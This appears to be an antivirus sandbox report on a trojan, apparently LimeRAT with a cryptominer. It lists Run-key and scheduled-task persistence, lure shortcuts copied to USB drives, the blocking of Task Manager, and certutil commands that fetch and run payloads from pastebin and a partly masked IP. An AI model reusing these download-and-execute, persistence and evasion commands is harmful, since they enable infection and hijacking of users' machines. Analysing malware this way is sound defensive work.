Trojan.Siggen18.14281

Technical Information

To ensure autorun and distribution

Modifies the following registry keys

[<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'Windows Logons' = '%WINDIR% (x86)\explorer.exe'
[<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'Windows Updates' = '%APPDATA%\AppData\Windows Updates\winupdate.exe'
[<HKCU>\software\microsoft\windows\currentversion\run] 'backup' = '"%APPDATA%\AppData\Flash Player\\backup.vbs"'
[<HKLM>\software\microsoft\windows\currentversion\run] 'backup' = '"%APPDATA%\AppData\Flash Player\\backup.vbs"'
[<HKCU>\software\microsoft\windows\currentversion\run] 'main' = '"%APPDATA%\AppData\Flash Player\\main.vbs"'
[<HKLM>\software\microsoft\windows\currentversion\run] 'main' = '"%APPDATA%\AppData\Flash Player\\main.vbs"'

Creates or modifies the following files

%APPDATA%\microsoft\windows\start menu\programs\startup\backup.vbs
%APPDATA%\microsoft\windows\start menu\programs\startup\main.vbs
%APPDATA%\microsoft\windows\start menu\programs\startup\microsoft.exe

Creates the following files on removable media

<Drive name for removable media>:\backup.vbs
<Drive name for removable media>:\stoc13_ml_quoc_le.lnk
<Drive name for removable media>:\roozenedowebinar.lnk
<Drive name for removable media>:\asaprojectcompetition.lnk
<Drive name for removable media>:\file1.lnk
<Drive name for removable media>:\sim_gametheory_to_finance.lnk
<Drive name for removable media>:\mappingconcepthubberlin.lnk
<Drive name for removable media>:\sacs_presentation_sacs_qep_improving_rt_education_final.lnk
<Drive name for removable media>:\proposaltemplates.lnk
<Drive name for removable media>:\bg_search_box.lnk
<Drive name for removable media>:\etc6_m_1.lnk
<Drive name for removable media>:\asm.lnk
<Drive name for removable media>:\systisoft.lnk
<Drive name for removable media>:\cert.lnk
<Drive name for removable media>:\hhhlcert.lnk
<Drive name for removable media>:\delongcacert.lnk
<Drive name for removable media>:\ck.lnk
<Drive name for removable media>:\dualectls.lnk
<Drive name for removable media>:\video_1.lnk
<Drive name for removable media>:\clip_480_5sec_6mbps_h264.lnk
<Drive name for removable media>:\scan.lnk
<Drive name for removable media>:\cbz.lnk
<Drive name for removable media>:\spanner.lnk
<Drive name for removable media>:\gruenspecht_02172016.lnk
<Drive name for removable media>:\productos.lnk
<Drive name for removable media>:\contractualdeadlines.lnk
<Drive name for removable media>:\calculatorworksheet.lnk
<Drive name for removable media>:\subjectclassification.lnk
<Drive name for removable media>:\suspendedcompanies.lnk
<Drive name for removable media>:\al.lnk
<Drive name for removable media>:\trtf_matrix2012_oct.lnk
<Drive name for removable media>:\disclosuredetails.lnk
<Drive name for removable media>:\1sm_price.lnk
<Drive name for removable media>:\fiche_inscription_2015.lnk
<Drive name for removable media>:\elvisimp.lnk
<Drive name for removable media>:\sioc.lnk
<Drive name for removable media>:\excel_example.lnk
<Drive name for removable media>:\removedtitles_records.lnk
<Drive name for removable media>:\babyboymaintoscenesbackground_pal.lnk
<Drive name for removable media>:\passport_pal.lnk
<Drive name for removable media>:\flower_trans_matte.lnk
<Drive name for removable media>:\krsweden.lnk
<Drive name for removable media>:\fungalnameauthors.lnk
<Drive name for removable media>:\static_electricity_easy_and_quick_activities.lnk
<Drive name for removable media>:\router_manual.lnk
<Drive name for removable media>:\price030215.lnk
<Drive name for removable media>:\dag2_panel1_320_ref.lnk
<Drive name for removable media>:\210252809.lnk
<Drive name for removable media>:\168.lnk
<Drive name for removable media>:\fi51.lnk
<Drive name for removable media>:\ovp25012015.lnk
<Drive name for removable media>:\hanni_umami_chapter.lnk
<Drive name for removable media>:\uep_form_786_bulletin_1726i602.lnk
<Drive name for removable media>:\testcertificate.lnk
<Drive name for removable media>:\contoso.lnk
<Drive name for removable media>:\sdksampleunprivdeveloper.lnk
<Drive name for removable media>:\contosoroot_1.lnk
<Drive name for removable media>:\glidescope_review_rev_010.lnk
<Drive name for removable media>:\dashborder_192.lnk
<Drive name for removable media>:\toolbar.lnk
<Drive name for removable media>:\coffee.lnk
<Drive name for removable media>:\dialmap.lnk
<Drive name for removable media>:\default.lnk
<Drive name for removable media>:\archer.lnk
<Drive name for removable media>:\join.lnk
<Drive name for removable media>:\correct.lnk
<Drive name for removable media>:\000814251_video_01.lnk
<Drive name for removable media>:\split.lnk
<Drive name for removable media>:\dashborder_144.lnk
<Drive name for removable media>:\holycrosschurchinstructions.lnk
<Drive name for removable media>:\thlps_keeper_mayer_1965.lnk
<Drive name for removable media>:\aoc_saq_d_v3_merchant.lnk
<Drive name for removable media>:\3.lnk
<Drive name for removable media>:\alert.lnk
<Drive name for removable media>:\region-north-karelia.lnk
<Drive name for removable media>:\13.lnk
<Drive name for removable media>:\parnas_01.lnk
<Drive name for removable media>:\1189.lnk
<Drive name for removable media>:\4f0bf7ff71f28.lnk
<Drive name for removable media>:\main.vbs
<Drive name for removable media>:\adadsi.lnk
<Drive name for removable media>:\trivial-merge.lnk
<Drive name for removable media>:\howto-index.lnk
<Drive name for removable media>:\tree_view.lnk
<Drive name for removable media>:\adhd_and_obesity.lnk
<Drive name for removable media>:\64bit_notes.lnk
<Drive name for removable media>:\browse.lnk
<Drive name for removable media>:\iisstart.lnk
<Drive name for removable media>:\ituneshelpunavailable.lnk
<Drive name for removable media>:\winmine.lnk
<Drive name for removable media>:\jre-7u75-windows-i586-iftw.lnk
<Drive name for removable media>:\wrar520.lnk
<Drive name for removable media>:\utorrent.lnk
<Drive name for removable media>:\tcm851ax32.lnk
<Drive name for removable media>:\main.lnk
<Drive name for removable media>:\backup.lnk

Malicious functions

To complicate detection of its presence in the operating system,

blocks execution of the following system utilities:

Windows Task Manager (Taskmgr)

Executes the following

'<SYSTEM32>\taskkill.exe' /IM taskmgr.exe /F
'<SYSTEM32>\taskkill.exe' /IM xmrig.exe /F
'<SYSTEM32>\taskkill.exe' /IM regedit.exe /F
'<SYSTEM32>\taskkill.exe' /IM explorer.exe /F

Modifies file system

Creates the following files

%TEMP%\cb78.tmp\cb79.bat
%APPDATA%\appdata\flash player\main.vbs
%APPDATA%\appdata\flash player\backup.vbs
%TEMP%\a7d2.tmp\a7e3.bat
%TEMP%\updatew\microsoft.exe
%TEMP%\updatew\main.vbs
%TEMP%\updatew\backup.vbs
%TEMP%\updatew\3xs.txt
%APPDATA%\appdata\windows updates\winupdate.exe
%TEMP%\updatew\1xsgpu.txt
%TEMP%\updatew\winupdate.exe
%TEMP%\updatew\winlogon.exe
%TEMP%\updatew\windowsapp.exe
%TEMP%\ie.exe
%TEMP%\windowscheck_182352115_log.bat
%TEMP%\veriu.bat
%TEMP%\dd_vcredist_windows_check_31029441313.log
%TEMP%\updatew\1xs.txt
%APPDATA%\appdata\windows protector\winlogon.exe

Sets the 'hidden' attribute to the following files

%APPDATA%\appdata\flash player\backup.vbs
%APPDATA%\appdata\flash player\main.vbs
<Drive name for removable media>:\backup.vbs
<Drive name for removable media>:\main.vbs
%APPDATA%\appdata\windows updates\winupdate.exe

Deletes the following files

%TEMP%\veriu.bat
%TEMP%\windowscheck_182352115_log.bat
%TEMP%\cb78.tmp\cb79.bat
%TEMP%\updatew\backup.vbs
%TEMP%\updatew\main.vbs
%TEMP%\updatew\winlogon.exe
%APPDATA%\microsoft\windows\start menu\programs\startup\backup.vbs
%APPDATA%\microsoft\windows\start menu\programs\startup\main.vbs
%TEMP%\updatew\microsoft.exe
%TEMP%\updatew\winupdate.exe
%TEMP%\updatew\1xs.txt
%TEMP%\updatew\3xs.txt
%TEMP%\updatew\1xsgpu.txt

Substitutes the following files

%TEMP%\veriu.bat

Network activity

Connects to

'pa###bin.com':443
'microsoft.com':80
'54.##4.238.33':8380
'nv####der.mooo.com':16029
'nv####der.mooo.com':18632

TCP

HTTP GET requests

http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt
http://54.###.238.33:8380/IE.exe via 54.##4.238.33

Other

'pa###bin.com':443

UDP

DNS ASK pa###bin.com
DNS ASK microsoft.com
DNS ASK nv####der.mooo.com

Miscellaneous

Searches for the following windows

ClassName: 'EDIT' WindowName: ''
ClassName: '' WindowName: ''

Creates and executes the following

'%TEMP%\ie.exe'
'%TEMP%\updatew\windowsapp.exe'
'<SYSTEM32>\cscript.exe' "%TEMP%\updateW\backup.vbs"
'<SYSTEM32>\cscript.exe' "%TEMP%\updateW\main.vbs"
'%TEMP%\updatew\winlogon.exe'
'%APPDATA%\appdata\windows protector\winlogon.exe'
'<SYSTEM32>\cmd.exe' /c "%TEMP%\CB78.tmp\CB79.bat <Full path to file>"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "%TEMP%\A7D2.tmp\A7E3.bat %TEMP%\updateW\windowsapp.exe"' (with hidden window)
'%WINDIR%\syswow64\schtasks.exe' /create /f /sc ONLOGON /RL HIGHEST /tn LimeRAT-Admin /tr "'%APPDATA%\AppData\Windows Protector\winlogon.exe'"' (with hidden window)

Executes the following

'<SYSTEM32>\cmd.exe' /c "%TEMP%\CB78.tmp\CB79.bat <Full path to file>"
'<SYSTEM32>\attrib.exe' -s -h "%APPDATA%\AppData\Windows Updates"
'<SYSTEM32>\attrib.exe' -s -h "%APPDATA%\AppData\Windows Updates\*.*"
'<SYSTEM32>\attrib.exe' -s -h "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\*.*"
'<SYSTEM32>\xcopy.exe' "%TEMP%\updateW\winupdate.exe" "%APPDATA%\AppData\Windows Updates" /K /D /H /Y
'<SYSTEM32>\xcopy.exe' "%TEMP%\updateW\Microsoft.exe" "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup" /K /D /H /Y
'<SYSTEM32>\attrib.exe' +s +h "%APPDATA%\AppData\Windows Updates\*.*"
'<SYSTEM32>\attrib.exe' +s +h "%APPDATA%\AppData\Windows Updates"
'<SYSTEM32>\cmd.exe' /c wmic datafile where "name='C:\\Windows (x86)\\explorer.exe'" get version /format:list
'<SYSTEM32>\cmd.exe' /c "%TEMP%\A7D2.tmp\A7E3.bat %TEMP%\updateW\windowsapp.exe"
'<SYSTEM32>\wbem\wmic.exe' datafile where "name='C:\\Windows (x86)\\explorer.exe'" get version /format:list
'<SYSTEM32>\cmd.exe' /c wmic csproduct get UUID /format:list |find "="
'<SYSTEM32>\wbem\wmic.exe' csproduct get UUID /format:list
'<SYSTEM32>\find.exe' "="
'<SYSTEM32>\wbem\wmic.exe' process where ExecutablePath='C:\\Windows (x86)\\explorer.exe' delete
'<SYSTEM32>\wbem\wmic.exe' process where ExecutablePath='C:\\Windows (x86)\\*.exe' delete
'<SYSTEM32>\wbem\wmic.exe' process where name='regedit.exe' delete
'<SYSTEM32>\wbem\wmic.exe' process where name='explorer.exe' delete
'%WINDIR%\explorer.exe'
'<SYSTEM32>\wbem\wmic.exe' process where name='Microsoft.exe' delete
'<SYSTEM32>\wbem\wmic.exe' process where name='winupdate.exe' delete
'<SYSTEM32>\attrib.exe' +s +h "%APPDATA%\AppData"
'<SYSTEM32>\attrib.exe' +s +h "%APPDATA%\AppData\Windows Protector"
'<SYSTEM32>\attrib.exe' +s +h "%APPDATA%\AppData\Windows Protector\*.*"
'<SYSTEM32>\find.exe' /c "ECHO OK" "%TEMP%\VERIU.BAT"
'<SYSTEM32>\cmd.exe' /c del "<Current directory>\"%TEMP%\VERIU.BAT""
'<SYSTEM32>\wbem\wmic.exe' process where name='taskmgr.exe' delete
'<SYSTEM32>\wbem\wmic.exe' process where name='xmrig.exe' delete
'<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
'<SYSTEM32>\certutil.exe' -urlcache -split -f https://pastebin.com/raw/03Gje1tb "%TEMP%\windowscheck_182352115_log.bat"
'<SYSTEM32>\find.exe' /c "set active" "%TEMP%\windowscheck_182352115_log.bat"
'<SYSTEM32>\certutil.exe' -urlcache -split -f "http://54.###.238.33:8380/IE.exe" %TEMP%\IE.exe
'<SYSTEM32>\attrib.exe' -s -h "%WINDIR% (x86)\*.*"
'%WINDIR%\syswow64\schtasks.exe' /create /f /sc ONLOGON /RL HIGHEST /tn LimeRAT-Admin /tr "'%APPDATA%\AppData\Windows Protector\winlogon.exe'"
'<SYSTEM32>\cmd.exe' /c del "<Current directory>\"%TEMP%\windowscheck_182352115_log.bat""
'<SYSTEM32>\reg.exe' ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Windows Logons" /t REG_SZ /F /D "%WINDIR% (x86)\explorer.exe"
'<SYSTEM32>\reg.exe' ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Windows Updates" /t REG_SZ /F /D "%APPDATA%\AppData\Windows Updates\winupdate.exe"
'<SYSTEM32>\attrib.exe' -s -h "%APPDATA%\AppData\Flash Player\*.*"
'<SYSTEM32>\attrib.exe' -s -h "%APPDATA%\AppData\Flash Player\"
'<SYSTEM32>\wscript.exe' "%APPDATA%\AppData\FLASHP~1\backup.vbs"
'<SYSTEM32>\wscript.exe' "%APPDATA%\AppData\FLASHP~1\main.vbs"
'<SYSTEM32>\attrib.exe' +s +h "%APPDATA%\AppData\Flash Player\*.*"
'<SYSTEM32>\attrib.exe' +s +h "%APPDATA%\AppData\Flash Player\"
'<SYSTEM32>\certutil.exe' -urlcache -split -f https://pastebin.com/raw/gGQgTLmg "%TEMP%\VERIU.BAT"
'<SYSTEM32>\cmd.exe' /c del "%TEMP%\updateW\"%TEMP%\VERIU.BAT""
'<SYSTEM32>\certutil.exe' -urlcache -split -f "http://54.###.238.33:8380/xm/win.com" "%TEMP%\updateW\win.com"

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